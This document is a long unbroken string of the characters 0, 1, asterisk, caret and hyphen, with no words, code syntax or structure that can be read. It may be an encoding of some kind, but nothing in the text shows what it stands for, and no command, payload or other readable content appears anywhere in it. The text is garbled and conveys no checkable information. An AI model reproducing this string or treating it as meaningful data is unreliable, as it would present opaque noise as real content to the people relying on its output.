*********1*00-1^^11010-01*011****001**01010110-101^11*00^1*0-----10---1101*00-001101*01^1*11011*1011**011010-01*^1*0-----10---0-*00-001101*01^1*^1101********011011011*00^1*^-*110-11*0011*01*1*0101****01**0101*-11011*1*001*1*011****001***0^-1101^11****001**00101**101*001*0110101*******-01*10^^^10-11*1*0^-11*011****001**10110110-101^11****011**10-001*10^1101**-1**^1**01*001*0101*01011*-1*0-11*^1*0011**11****01**0^-11*101******01**0110^1*001******01**10101101*001*01*001*1*011****001**0011*-1101^11****001**10110110-101^11****01**01*001*0101*0101*11011010^1*0010^11**01*001*0011*00101*^1*0011**01*001*1*011****001**0-*-1101^11****01**0-101*00101******01**^-01*001******01**00-011*00^110101******01^11*0101******01**-00101*001******01**101^11*001*11****001**10110110-101^11****001***1^1*10^-01*01*11011**0-^101***001*0101*^1*0011**01*001*1*011****001**0101*-1101^11****001**10110110-101^11*******011**00101*1101*-*001011010101*011*1***1*0101*-11*^1*0011**01*001*1*011****001***1*-1101^11****001**10110110-101^11****01**01*001*0101*0101*11011010^1*0010^1^-001*00^10-*00101*^1*0011**01*001*1*011****001**011*0-1101^11****01**0-101*00101******1***00-**1******1**010101**00^110101******01^11*0101*********10-01*001**********1011*001*11****001**10110110-101^11****001***1^1*10^10-*01*11011**0-^10^1**001*0101*^1*0011**01*001*1*011****001**001*0-110110110101*******1**010^10-*1*1010-11*011****001**10110110-101^11****011**0011*1*101*^11*1*11*1^-*-**1*******************001**1*01*0-*^1*0011**01*001*1*011****001**01*00-1101^11****001**10110110-101^11*******00101011*10^^-*011*001^1011*1101*001*0011*********01*101*00^^1*0011**01*001*1*001*001^1*011****001**0^^-00-0-*00---------1^1*-001101*01^1*11011*1011*001101*0011*0011****001**1^1**10^11**1101*00101****01**^1*-00-0--------01101101*-001101*01^1*^1*0-11******001**1*10-00-001**00--1*11*^1*01*1*******1**001**0-00^1*01^1*01101*********11011**********1**********01*********00^11******1**001*101*********1******001**00110^1*****01**00-1101****************1***101011********0101*0101*101101*01*1*1101*01^1*-01*0011*01^1*001****01**0-010^--*001*1^1*001*******010101010--0-1*01^1*001****01**001**0--010101*1^1*001*******-1*10--001011*1^1*001****01**0^110^--001101*01^1*********1***-001*1***001**01101011******01**010-***0101**001^11011********************01101******001*00-001******11**11*01*********^-********01**1*******0010101*********11*******011**--01********11*001*****011**00-1***********01*******0010101*********11*******001***00-*********00101*****001****1*****************1^101*001******10101**************************************************************101*00101*^1*^1*1*01*^1^1*01011*00-0110101******001^^-11011011011******01*1*01101*0--1*1*00^1**************************************************************0101*00101*1**^1*1**00^1^1*01011*001101*-1011*0010-0101*-1*1^1*^1101*****00^1*11*11**01*010^1********1010^1*001*^1*1*1*-----110--*01*010-*101****01**001011*00101*001*00^1*0-110-0101*-1*1^1*00-*-----110--110-10--00^101^-*1^1*01*1*0101*01*1*0-00-10101*-1*1^1*^11*0101*01^1**11010-01*0101*01*1*******************0011011*********^-*******************01101*********0^-********0011011********************001*0101*^-1*1*1*0-1*1^1*10-****-101101^^11**0-10110101****01**00-*-10110-*001*1*011****001**0110^-1101^11****001**010-1*0101*101****1***101*-101^101****1**00^1*-101^11*****1*00101101*00101*001**1****001**01011*0--*1*001*1*-*001*1*011****001**0010^-1101^11*****1*00-1101*010^101*001*1*011****011**1*-*0101*-**^^^1010^1*01*001*1101*******************001011*01*01*11****001**11*010-101^11**01****001**010101*--0-*001*1*-*001^1*011****001**-0^-00-*1*******01*-0--********011*11****************************************011*11********0101*00101*1*-*1*1*00-*1^1*-01*********011*01^-*0-00--0^-1010-11**001101*^1********^10101*001*01****01*****0--01*^1*********1^1*001*01****01*****0--*********01^1*001*01****01*****0--0110101******-01101*101******1**001^-*001******1****001*001*01*001*1**************************************************************0101*00101*^1011*1*1*01011*1^1*01011****-101101^^11**0-10110101****01**00-*-101^11*001*1*011****001**0110^-1101^11****001**010-1*010^110101******1*101*0101******11**1*1**001******11**10-11**^110101******011*1*0101******1**0--01*001******1**010110-*00^110101******0^^1*101******11**11*1**01******11**101*1**1*001*0^1*0011*001*1*011****001**0010^-110110110101******0-101*0101******01**-0-**1******01**101*1**^101*001*1*011****011**1*-*0101*-**^^^1010101*001*001*0-********************-*01*01*11****001**11*010-101^11**11*001*1*011*001^1*011****001**-0^-00-*1*******01*-0--*****************************************************01********101*00101*1*011*1*1**11*1^1**11*********11*101^-00110101******-01101*101******1**01^1101*001******1**010101011*00^^1*0-----10--^-101*-*0101*1^1*00-*101*001^1*0101^1^1101*011*^101^-*-0101******00110101*101******01**0-01**01******01**10-01**1*011*01*1*10-00^-010-11*01101*0011*01*1*0011*01^1*1*******0010^^1011*-101**1*0110101******00110101*101******01**01^11**1******01**10101**00^1101*01*1*10-00^-010-11*01101*1101*01*1*1101*01^1*1*******0010^^1011*-101**1*0--------1101**0-*0101*1^1*1101101*011*1*^1*10^-11*01101*1*1*001*001^1*110101******0-*1*101********001*1101*001********00--01*001*11****001***1^1*10^^11*01*11011**-1^1*00-*001*0101**1*0---------011*00-*0101*1^1*^11*1011*0110101******0-*1*101********00-00-*001********00^10-*001*11****011**0011*1*101*^11*1*11*1^11010-1**1*******************011**1*0^^11**1**11*00101^10101*01*1*^1*01*1******001**010-1*0-*101*01^1*01101*^1*01^1*-*00--------1010-*0-*0101*1^1*^11010-11*-11*1*^1********^1*1*00^10101*1*1******001**-001010-11*1101*^101^-*-1*001101*0011****001**0--*0101*11****001**101*10-101^11**0-00-0101*0101*1^1*^1*0-11******001**01*0-00-00110101******-01101*101******1**00110-**1******1**01*1**001*11****001**101*10-101^11**101*00101****01**1^11*00101*001*00^1******001**00^-*-********************10101********0101101*********-1101********101*******1**01011*********00101101********0-1101********00^^1********101*********00^-********************11*0101*1*101*1*1*00101*1^1*01101*---------*1*0-00-1*01^1*0101*0-11*^1*0110101*110--010^11011*--------1010101*0-00-1*01^1*00-**1**110^1**00--1*11*1011*01*1*--------00^11*0-00-1*01^1*01101*1011*01^1*-01*^10-11010^^1101*10^1*****01**0011011**01*^1*1*1*0010^1*****01**0011011**01*^1*1*1*01*00-010^-1*01^1*0-1*101**0110^1**00--101101*1011*01*1*0-*-010^-1*01^1*^11*1011*01^1**11**1*01^1*0101****01***01^-1011*1*******010^110--0-10-11010^^1101********00101*1*00^1*^-101^-11*1*1*1*1*-1010-010^-1*01^1*01011*101**0110^1**00---101*1011*01*1*110-0-010^-1*01^1*^1101*****001011010^-101*00^1^^110101010-11**01*1*1*1011*01^1*01101*********0^1********************-101********0--********00110-1********010-11********0110101********00--********0010-11********0--********00^1011********01101*0101*10-1*01*1*-1*01^1*^1*0-11*0^1*1^1*001*******010101010--01*1*1^1*001****01**0-010^--*001*1^1*001****01**0^110^--001101*1^1*001****01*****0--010101*1^1*001*******0-11010--001101*01^1*1**11010^1*1***001**00101011******01**^-****1**001^11011******0010101*01*******01*-0--0-----10--1*0-1*-*011*0^1*0-11*-----10--1*-11*-*011*001011*--------1^-1*-001101*0-11*--------011**00-*011*0^1101*****00^-10^-11*001*010^1*****01***01*1*001*11*001*1*********00101*^-001**00--1^11*011*00--------11*1*00-*011*0-01*0101*0-01*--------10110-*-00^110^10-00-11*1*^^-^-11*101*001*1*--------^-*00-*011**-*********-*00^-001**00--101101*011*00--------^^1*0-*011*0^110^-*0-11*1*^1*****01**01**1*00^101*001*1*0101*0^11*011****001**110-1*010^---------00-*-00^110101*^1*********1*1*00^101*001*1*1*^1101^10-11*101*001*1*--------0010-*0-*011*011011*********-*00^-001**00--1*11*011*00--------001*01*-*011*0^1101*****001^-1^1***^1^^1********001*01*001*01*001*1*0101**011*011****001**^-1*010^--------1*-1*-001*^--110-11*^1*0--------*10101*-*011*001101*********-*00^-001**00---101*011*00--------*-01*-*011*01101*0-11*0101*001101*********0110^1********0-11*********10^11********^-1********00101*********0^-1********001**********0110^1********1*011********00^1011********11*011******************00-1^1********11*1*********-*0101*1*01**11**011*011*001^1*001*******010101010--0101*001^1*001****01**001**0--*1*001^1*001****01**0^110^--01011**1****01*****0--001101*01^1*********1***-001*1***001**0^1011*****001**0010-****1***1^1^1******0--------01101**-*01*001^1*1*^1*****01**0-0^1*00^-*001*1*01010^-*00--------1^-1*-00-01*--------101101*00-*01*001^1*^11**********1*0010-0010-01*011**1*0--------10-1*00-*01*001^1*01101*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------1*101*0-*01*001^1*11011*1101*00101******00-00-*10^11**11011******011**0011*101**--------01^11*0-*01*001^1*11011*1101**011*-11*--------01^-*-00^1101******00^1101*01**1*010^1*****01**011*001*001*001*01*1*--------001*01*-*01*001^1*1*^101101010-11*-*001*1*********0011*********01**0101*101*01^11*00^110^1^^-11*1*0110101**01*00--------1*0101*-*01*001^1*^1101******0011010-***01*010^--*-11*011*001*1*0101*001101*--------10101101*-*01*001^1*^110^1101^-11*1*^101011*101*001*1*01^1*11****001**-0-*001011********01*101********11*11*********01101**********001**********01*******************00-1*********^101********01*101********00101**********101*********011*1********0011*0101*1*1*001*1*********110^1*0-*001*01^1*001*******010101010--0-*001^1*001*******0-11010--0011*001^1*001*******-1*10--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001***01011*****001**00^1***0011***01^1^1***00--------1^1**-00101*001^1*-01*01010^1*******0011**1010-0-*00--------01*1*00-00101*001^1*^1101*****00^110-10101**0^1^^1*****01**01^1**00^-*001*1*--------1^-1*-*0011*--------10-1*00-00101*001^1*11011**********1*010-^^110^1011010^1*0-11*^1**01*******^1*00101101*001*011*******1**00101**00^1011******001**0--1**1*101**011010-01*011*00--------10^11*0-00101*001^1*00-*1101*00101******0010-101*10^11011******011**0011*-**01**--------010-1*0-00101*001^1*00-*1101**101*--------0^-1*-*101*0-11*--------1101*1*-00101*001^1*01101**********1*********01**0101*101*01^11*00^110101*1*-11*1*011*1*00101*00--------00^101*-00101*001^1*-01*0101*001101*--------0-0101*-00101*001^1*^1101*****00101010-10-1**1*010^1********10110101*001*11*001*1*01^1*11****001**0110-*001011******************00-^1********011011*******************00101*1*********^11********00^^1********-^1********00-0101********-00101********10^1********00101*1*********11*0101*10101*001*1*********0^101*0-00-*001^1*001****01**0^110^--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**0-0011*****001**0-****0101***1^1^1***00-----10--11*-1*-00101*001^1*^1101*****00^1^-010-*001*010^1010^10-11*^1*01*1*01010^-*00--------101**00-00101*001^1*10-*--------1^-1*-00-01*--------1^1**-00101*001^1*^1101*****001**011***00^1^^1*****01**00^11**01*001*01*1*********10101*10-^^110^101101*011*^1**01*******01**101^1*001*011*******1**101^1**^1011*001*010-11*0101**011010-01*011*00--------001*1*0-00101*001^1*01101*1101*00101*******00-0-11011011011******011**0011*101**--------*1101*0-00101*001^1*1*^11*-0-11*-*001*1*1101*001011*--------1^-1*-0011011*--------0011011*0-00101*001^1*00-**********1*********01**0101*101*01^11*00^11010-10^-11*1*01^-^--01*001*-11**001101*^101101*001****01**0-010^--*10^1********11*001*001*01*******-1*10--********011*001*001*01*******-1*10--*1*0011**--------01^101*-00101*001^1*^110101^1^-11*1*^1********11*101*001*11*001*1*0101*001101*--------010-01*-00101*001^1*0101*0-11*01^1*11****001**1010-*001011********00-101********-1*********0^1*1********0^^1********11*1********0011*11********01*-*******************001*11********011*11********001*11********101*01********0011*0101*10101*001*1*********011*1*0-00^1*01^1*001*******-1*10--*01*01^1*001****01**0^110^--0-*001^1*001****01**0-010^--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**001^11*****001**0-011****01**001^1^1***00-----10--11010-1*-001011*00101*0-11*01010^-*00-----10-----*-001011*0^11010-01^-11*1*^1*^10-11*-*001*1*---------00-*-00^1101********01010^1*00^1*^1********10^101*001*11*001*1*--------*001*00-001011*01101*0-11**********1*0^-0010-01*011**1101*-00--01*********001101*00^1*011*1*001*^1********01*101*001*01****01**0-010^--********001*101*001*01****01**0-010^--0101**101101010^^101**101**011010-01*011*00--------0110101*0-001011*01*^1********-01101*001*11*001*1*1101*00101******00-1101*010^11**01**--------0011011*0-001011*0^110^-1*1*^1*****01***10-**1*01*001*1*1101*001101*---------00-*-00^1101******^1^101*01*00^1^^1********101^11*00^101*001*1*--------1*^1*-001011*00-1*********-*********001**0101*101*01^11*00^110101*1*-11*1*011*1*00101*00--------^10101*-001011*00101*0-11*0101*001101*--------1^1101*-001011*0^110101*^-01*0-11*001*001*1*1*^-01*0-11*001*001*1*01^1*11****001**0010-*001011********10-101********1*01********************1^1********01*01********00110^11********101^11*******************-101*********10-********00-101********0-01*********0011*0101*10^1*********0101^1*0-00-*001^1*001****01**0-010^--0011*001^1*001****01*****0--0101*001^1*001****01**0^110^--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**010^11*****001**01^11***0-***1^1^1***00--------0^1**-*01*001^1*^1101******010-*^11**^1^^1********10110-*00^-*001*1*01010^1*******0011**0010-0-*00--------0^-1*-00^1*0-11*--------101011*00-*01*001^1*^1101*****001*10-0011**00^1^^1*01*-11*-*001*1*********0^1*010-0010-01*011**1*0---------^1*0-*01*001^1*10-*0011**01101*01**1**-**11*00101101010^1*01**-*00101**011010-01*011*00--------10^11*0-*01*001^1*0-1*1101*00101******0011*^-1011*1*0011**11011******011**0011*101**--------110-1*0-*01*001^1*0-1*1101**101*--------00110-*-00^1101*110^-11*1*^101011*-11*011*001*1*--------0^^1*-*01*001^1*1*^--*-11*101*001*1*********0011*********01**0101*101*01^11*00^1101*110110-11*1*0110101**01**-*0--------*01101*-*01*001^1*^1*0-11*0101*001101*--------110-01*-*01*001^1*-01*01^1*11****001**1^-*001011*******************11*1********0^11*********00^11********0010-1********01101^1********0-001*********^11********00^-********001*101********0-**********1*1*********11*0101*1*1*001*1*********101*1*0-00-*001^1*001****01**0^110^--0011*001^1*001****01*****0--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1***001***^11*****001**0-1****001***1^1^1*********01010^-01*-----101*-^-01*-*0101*1^1*^1101******010101101011011*001*010^-^^-11*-01*1*1*-----101*-110^11*-*0101*1^1*********0-*1*001*0110-11010^^1101*****00-001*1*001*001*010^10110-0-11*10101*1*1*-----101*-00^-*-*0101*1^1*-01^-11*^1**110^1**00--^1^10-11*0^1*1*1*-----101*-1010-1*-*0101*1^1*01101010-11*0^1*1^1*-01*1010--0101*1101010-11*------*-101**00-*0101*1^1*1*^^101^-11*11011*1*1*0011**110^1**00--101101*0^1*1*1*------*-*11**-*0101*1^1*0010-0-11*0^1*1^1*^-00-11*------*-10^1*00-*0101*1^1*1*^^-110-11*11011*1*1*00110-110101*0011010101^10-11*1*^1********0-0-*001*1011*1*1*------*-0-11*00-*0101*1^1*-11010-11*^1**110^1**00--1*-00-11*0^1*1*1*------*--^1*0-*0101*1^1**01010-11*0^1*1^1**01^-11*0^--010^1*^10-0110-11*01011*1*1*------*-11*11*0-*0101*1^1*^110^10-10-11*1*^1********10101101*00^11011*1*1*0^1*101101*11****001**-1011*0101*01*******^110-10-^1*******001011010-1*11011*01*1*001*001*1*01**1010--0101**1010-11*------*--1*1*-*0101*1^1*^110^-*0-11*1*^101101*-11*11011*1*1*-1**110^1**00---110^-11*0^1*1*1*------*-01^101*-*0101*1^1*********1*^1*001*^1*1^1*-*10-11*------*-01101101*-*0101*1^1*1*^10-1^-11*^11*1*1*0^--0101********001*^1*00^------*-^^11*-*0101*1^1*00-110-11*^1**110^1**00--1011*10-11*0^1*1*1*------*-01011011*-*0101*1^1*11*010-11*0^1*1^1**01*-11*101*001^1**1101011**101*001*1*1010--010^11*010-11*------*-1*-1*-*0101*1^1*1*^1*10^-11*11011*1*1*0011**110^1**00---11*0-11*0^1*1*1*-----^^-101**00-*0101*1^1**110101*^1*****01***10^1*001*1011*1*1*1*^1*****01**0-00101*001*1011*1*1*0^1*1^1***10-11*1011**011010-01*^1**110-110101*001101011011010-11*1*^1*****01**0101*01*001*1101*1*1*-----^^-0^11*00-*0101*1^1*0-1010-11*^1**110^1**00----^-11*0^1*1*1*-----^^-11*01*0-*0101*1^1*1^1^-11*0^1*1^1*10101*-11*-----^^-*0101*0-*0101*1^1*********001^11*00^101*001^1*0101*******1^-*101*101******001011011*0101*101********-01^-0-01*0101******001011011*0101*11*****1*001101^1*101*101******00-101101^-0101*001*1*0101********-01^-0-*001*1*001****001**110-*--00101******00-101101^-0101*001*1*00110-11010^^1101*****00^-00101011**01*010^-101*-11*-01*1*1*-----^^--1^1*-*0101*1^1**1101*-*1*^1101^10-11*01101*1*1*0-**110^1**00--^101*-11*0^1*1*1*-----^^-10101101*-*0101*1^1*11*110-11*0^1*1^1*00110^-11*0011*01^1*^11010-01*^101^-*^1*001*1*1010--010^11*110-11*-----^^-0-0011*-*0101*1^1**11*-11*^1**110^1**00---010^-11*0^1*1*1*-----^^--11011*-*0101*1^1*1*^110-*^11*1*1*0^1*1^1*110-00-11*-----^^-0-0-*-*0101*1^1*1*^1********101*01*00^^11*1*1*00110-11010^^1101*****00^10--001**0^1^^11*0110-11**11*1*1*-----110^-0101**0-*0101*1^1**********0^1*001*011**110^1**00--1010-00-11*0^1*1*1*-----110^-0-1**-*0101*1^1*********1011*1*001*^1*1^1*10-^-11*1101*01^1**11010^1011*1********110-10-^1*******001011010-1*11011*01*1*001*001*1*1101*01*1*10110-11010^^1101*****00^10-1101011**1*010^-101*-01*1*1*-----110^-0-001*0-*0101*1^1*010^10-11*^1**110^1**00--^-^-11*0^1*1*1*-----110^--1101*0-*0101*1^1*********-1*1*001*^1*1^1**11*1010--0101*1010110-11*-----110^-0^-*0-*0101*1^1*00-**1*01^1^1011*0-11*1*^1^1011011**001*******1*10-10-^1**0^--0101********00-1*1*00^-----110^-0-*1*-*0101*1^1**********01101*001*011**110^1**00---101*0^1*1*1*-----110^-1*0101*-*0101*1^1*01^^-11*0^1*1^1*11011**0--0101*101101011011*1*^10110-0-11*01101*1*1*-----110^-01101101*-*0101*1^1*^1101*****00^101011****1*010^1********01*001*00^-01*1*1*10101*001101*01*******-010-10-^1**1010--0101*1^^-11*-----110^--01011*-*0101*1^1*^1101*****001*01^1***00^1^^110-^-11**11*1*1*0^1*00110^1**00--101011*0^1*1*1*-----110^-*0-1*-*0101*1^1*^1101******010-*1^1**^1^^-*110-11**11*1*1*0^1*1^1*01010^-11*-----101^-011**00-*0101*1^1*^110^-1*1*^1********101*01*00^^11*1*1*001*******1*0-10-1101*******0011**1011*1*11010-01*^11010-01*^101^-*^1*001*1*01********-010-1*1*11010^1*0-**01*******-010-10-^1**-10-11010^1*^1********10^101*00^^11*1*1*-----101^-1*001*0-*0101*1^1*01011010^11*1*^-00-0-11*01101*1*1*0-**110^1**00--1^10^-11*0^1*1*1*-----101^--0101*0-*0101*1^1*1*^1*00^-11*11011*1*1*0^1*1^1**10^-11*0101*01^1**11010-01*0101*01*1**0--0101*1011010^11*1*^--*-11*11011*1*1*-----101^-0110-*0-*0101*1^1*^110^-0^-11*1*^-0-00-11*^11*1*1*-1**110^1**00---^^-11*0^1*1*1*-----101^-1011*1*-*0101*1^1*01011*-11*0^1*1^1*0-0^-11*-----101^-0101^1*-*0101*1^1*001^10-11*^10-11010^^1101*****0010-^-***01*010^1*****001**01***00^10101*1*1*-----101^-1^1101*-*0101*1^1*********101^11*001*011**110^1**00--110110^-11*0^1*1*1*-----101^--*11*-*0101*1^1*^1101******^101*110101*00^1^^1*****01**00^1**001*0011*1*1*0^1*1^1*010^10-11**01*1^1**11010-01**01*1*1*1010--010^-0-0-11*-----101^-01010-*-*0101*1^1*********001*01*001*011**110^1**00--1^^10-11*0^1*1*1*-----101^-0--1*-*0101*1^1*^1101******-*-11011**1*010^1101^10-11*-01*1*1*0^1*1^1*1011*0-11*001*001^1*01*******0010110101011*-101*-10-11010^^110^1^^-11*1*^1101*10-11*^11*1*1*------^-01^1*00-*0101*1^1*00-*-11*^1**110^1**00--^11*0-11*0^1*1*1*------^--011*00-*0101*1^1**1101*011*-11*1*^1*********0-1*001*1011*1*1*0^1*1^1*1^1^-11*------^-101^1*0-*0101*1^1*010^10-11*01010-110101*00110101*^1^11*01011*1*1*1*^1*****01**00-0101*001*1011*1*1*------^-10^11*0-*0101*1^1*1*^1*11*-11*01011*1*1*0011**110^1**00--10^1^-11*0^1*1*1*------^-^-1*0-*0101*1^1*^1101*011*1*^1^10^-11*01101*1*1*0^1*1^1*01011*1101*001101*0^--010^1*^1101*10-11*01011*1*1*------^-1^^1*-*0101*1^1*110110^-1*1*^10^1010-11*11011*1*1*0-**110^1**00--1^11*0^1*1*1*------^-*10101*-*0101*1^1**1101*^^-11*1*^1*****01**00^^1*001*1101*1*1*0^1*1^1*00101^-11*1010--0101*0101010-11*------^-01*011*-*0101*1^1*********011*01*001*011*0101101*11********1**0101******11**01*-*001******11**1^1101*001*101********-01^-*011*0101******00-101101^-*1*******0^10-10-^1**0^--010^1*^^-010-11*11011*1*1*------^--0-1*-*0101*1^1*1*^1*****01**01011***1*1011*1*1*-1**110^1**00---001^-11*0^1*1*1*-----1*10-0-**0-*0101*1^1*-01*0^1*1^1*10101^-11*-----1*10-01011**-*0101*1^1*^1101*****00-011010--**^1^^1*****01**0011*01*001*0011*1*1*01*10-0101******010-01*101******1**00-0011*001******1**00-*1*00^^1011*1********110-10-^1*******001011010-1*11011*01*1*001*001*1*011****011**001*1*0101******01***-**01******01***1101**1*11*******0-1011*101******11**00-101*001******11***-11*001*101********-01^-01101*01*1*011*******0-1011*101******01**10110101*001******01**^10-*001*101******001*-01^-*01*01*1*0101******00-101101^-0101*001*1*001*******1*10-10-^1**011*******10101**101******11****11*001******11**1^-1*00^1011*01*1*001*******1*0-110-^1********-010-1*1*11010^1*0-**01*******-010-10-^1**^10-11010^^1101******011010--001*00^1^^1********101*01*001*0011*1*1*-----1*10-010^11*-*0101*1^1*01011010-11*^1**110^1**00--^101^-11*0^1*1*1*-----1*10-11011011*-*0101*1^1**110101*^-01*0-11*01101*1*1*1*^1*****01**001*001*001*1101*1*1*0^1*1^1*01101^-11*-----1*10-0010-1*-*0101*1^1*^1101*011*-11*1*^1********00^101*001*1011*1*1*00110-11010^^1101*****001*001^-01**1*010^11*0010-11*10101*1*1*-----1^10-1^1**-*0101*1^1*********-01101*001*011**110^1**00--110101^-11*0^1*1*1*-----1^10--001*00-*0101*1^1**1101*********^101*00^1*^-110110-11*11011*1*1*0^1*1^1*00101*-11*-----1^10-10-1*00-*0101*1^1*010-10-11*001********00-10-1^11****001**^1011*010^-*001*1*011****011**001*1*0101******11**0^1101*001******11**0^1011*001*11*******0-1011*101********00-00101*001********0011*-*001*101********-01^-0-01*011*******0-1011*101******1***00101**1******1***101**001*11*******0-1011*10^110-00-11*0--0-11*0101******00-101101^-0101*001*1*0101********-01^-0011*001*1*0101******00-101101^-0101*001*1*01**01********-010-1*1*11010^1*0-**01*******-010-10-^1**00110-11010^^1101*****00--01010-**01*010^10^1*-11*-01*1*1*-----1^10---01*-*0101*1^1*********101*11*001*011**110^1**00---001*-11*0^1*1*1*-----1^10-1^1011*-*0101*1^1*********-00101*001*^1*1^1*^11*-11*-----1^10-11*-*-*0101*1^1*11010^-11*^1*01^1*011****011**0101011*0101******1**001*01**1******1**0101*1**1*11*******0-1011*101******11***-01*001******11**00--*001*101********-01^-0-01*011*******0-1011*101******11**0110^1*001******11**1^1011*001*101********-01^-0011*001*1*0101******00-101101^-0101*001*1*0^--0101********00-00101*00^-----101010-011011*00-*0101*1^1*0-0^-11*^1**110^1**00--1*11*-11*0^1*1*1*-----101010--*1*0-*0101*1^1*********00^101*001*^1*1^1**^10-11*-----101010--0101*0-*0101*1^1*00101*-11*1*1*1^1*1*1011011****001***1011*0101*0011*011****011**001*1*0101******1**01^-1*001******1**01^^1*001*11*******0-1011*101******01**001^1**1******01***1***1*101********-01^-00101101*011**01*1*1*011*******0-1011*101******1**01*^1*001******1**010101011*001*101********-01^-*11*0-11*0101******00-101101^-011**01**10110-110101*101101*011*1*^1*****01***-1**01*1101*1*1*-----101010-^-01*-*0101*1^1*^11010110^10-11*1*^1**********11*00^11011*1*1*0^1*00110^1**00---1*10-11*0^1*1*1*-----101010-1^1011*-*0101*1^1*********01*001*001*^1*1^1*1*0^-11*00110-11010^^1101******-0^11*11**1*010^1*01010-11*-01*1*1*-----101010-*0-1*-*0101*1^1*********010^11*001*011**1101*11****001**-1011*0101*01*******^110-10-^1*******001011010-1*10101*01*1*001*001*1*01**-10-11010^^1101*0-00-11*1*^110101010-11*11011*1*1*------010-00-**-*0101*1^1*^1101******1*01010-01**^1^^1*****01**0-1***1*0011*1*1*10101*00110^1**00--1*00^-11*0^1*1*1*------010-^-*00-*0101*1^1*********0011*1*001*^1*1^1*1^1*-11*------010-^^1*0-*0101*1^1*-1*0-11*-*001^1*011****001**0-011*0101*11****011**001*1*010^110-00-11*11011010-11*011*******0-1011*101******11****01*001******11**001*11*001*101********-01^-0-01*011*******0-1011*101*0101010-11**01*-11*011*******0-1011*101******11**1^1**001******11**0110101**1*101******00-101101^-0101*001*1*0101********-01^-0011*001*1*0101******00-101101^-0101*001*1*01**0^--0101*********011*1*00^------010-00110101*-*0101*1^1*010110^-1*1*^1********-00101*00^11011*1*1*1*1*00110^1**00--10^1*-11*0^1*1*1*------010-101*11*-*0101*1^1**1101010-*1*^1^10^-11*01101*1*1*0^1*1^1*0^1^-11*------010--01011*-*0101*1^1**10110-11*01*10-0101******010-01*101******11**1*101**1******11**1*1**00^^1011*1********110-10-^1*******001011010-1*11011*01*1*001*001*1*011****011**001*1*0101******01**001^11*001******01**00110101*001*11*******0-1011*101******11**01***001******11**011*1**1*101********-01^-01101*01*1*011*******0-1011*101******1**01*1011*001******1**01010^1*001*101******001*-01^-*01*01*1*0101******00-101101^-0101*001*1*001*******1*10-10-^1**011****01**0^-11*101*0^110-11*-*10-11*1011*01*1*001*******1*0-110-^1********-010-1*1*11010^1*0-**01*******-010-10-^1**0^--0101********001^^1*00^-----^110-0011011*0-*0101*1^1**10^-11*^1**110^1**00--11*1^-11*0^1*1*1*-----^110-10-11*0-*0101*1^1*1*^110101^-11*01101*1*1*0^1*1^1*0-1^-11*1011*01^1**11010-01*1011*01*1*0^--0101********0010-101*00^-----^110-0101^1*-*0101*1^1*^1101*****0011011*0-1**001*010^1^11*-11*-01*1*1*0^1*00110^1**00--110-^-11*0^1*1*1*-----^110-00101101*-*0101*1^1**110101*^1*00^-11*01101*1*1*1*^^^^-11*01101*1*1*0^1*1^1*^11*-----^110-^^11*-*0101*1^1*-^10-11*0101*0011****011**001*1*010^1*0^-11*1*0010-11*011*******0-1011*101******01**101*1**1******01******01*101********-01^-0-01*0101******00-101101^-0011****001***1011*0101*0011*011****011**001*1*0101******1**0110^1**1******1**0110101**01*11*******0-1011*101******11**0-*1*001******11**010^11*001*101********-01^-0^11*0101******00-101101^-011**01**0^--0101*********-0011*00^-----110110-0-01*00-*0101*1^1*********00-001*001*011**110^1**00--1*11*0^1*1*1*-----110110-1*001*0-*0101*1^1**0-0-11*0^1*1^1*01011*-11*0101*01^1*01101*1010--0101**-0-11*-----110110-1010101*0-*0101*1^1*********110^11*001*011**110^1**00--1^11*-11*0^1*1*1*-----110110-^1011*0-*0101*1^1**********00101*001*^1*1^1*11*010-11*0^--0101*********-*1*00^-----110110-**01*-*0101*1^1*^1101010-^-11*1*^11*1*-11*01101*1*1*-1*01^1^11011*1*^1^1011011**001*******1*10-10-^1**0^--0101**********0101*00^-----110110-01*101*-*0101*1^1*01010110-11*^1**110^1**00--101*010-11*0^1*1*1*-----110110-1^1101*-*0101*1^1*1011*0-11*0^1*1^1*01^^-11*-----110110-**11*-*0101*1^1*01011*001********110-0-1^-01101*^1^1011*1*******^110-10-^1*******001011010-1*10101*01*1*001*001*1*001*******001010-10-^1**01*******001011010-1*10101*01*1*001*001*1*1010--010^1011*0-11*-----110110-1*-1*-*0101*1^1*10-110-11*^1**110^1**00--110^^-11*0^1*1*1*-----10-0-01***-*0101*1^1*********1**1*001*^1*1^1*10110^-11*1011*01^1*01101*^10-11010^^1101*****00^-10110-1**1*010^1*****01***01*1*00^10101*1*1*-----10-0-10^1*00-*0101*1^1**11010-11*^1**110^1**00--^110^-11*0^1*1*1*-----10-0-011011*00-*0101*1^1**1101011011010-11*1*^-101010-11*11011*1*1*0^1*1^1*-01*-11*-*001^1*011*001*1*0^--0101*********001^1*00^-----10-0-0010101*0-*0101*1^1*0110-0-11*^1**110^1**00--101101*-11*0^1*1*1*-----10-0-10^11*0-*0101*1^1*1*-0-11*0^1*1^1*1101*0-11*1011*001101*1010--010^1*-0-11*-----10-0-*-1*0-*0101*1^1*^1101******---001011*001*010^^^^-11*-01*1*1*0^1*00110^1**00--10101*0-11*0^1*1*1*-----10-0-0^^1*-*0101*1^1*^1101******01101*1101**001*010^1*****01***11011**^10101*1*1*0^1*1^1**-00-11*-----10-0-11010101*-*0101*1^1*1*^-110110-11*01011*1*1*01*10-0101******010-01*101******11**0011*1*001******11**001^11*00^^1011*1********110-10-^1*******001011010-1*11011*01*1*001*001*1*011****011**001*1*0101******11**^^11*001******11**^10101*001*11*******0-1011*101******1**0^11011*001******1**010-001*001*101********-01^-01101*01*1*011*******0-1011*101******01**^10101*001******01**10110-*001*101******001*-01^-*01*01*1*0101******00-101101^-0101*001*1*001*******1*10-10-^1**011****01**0^-11*101******01**01^-*001******01**01*011*00^1011*01*1*001*******1*0-110-^1********-010-1*1*11010^1*0-**01*******-010-10-^1**1010--010^-00^-11*------110-011*1*0-*0101*1^1*0-1**1**110^1**00---101^-11*0^1*1*1*------110-0110101*0-*0101*1^1*^11010^-10-11*1*^101101*-11*^11*1*1*0^1*1^1*-10^-11*00110-11010^^1101*****00101**0-11**1*010^11*-0-11*-01*1*1*------110-0110-*0-*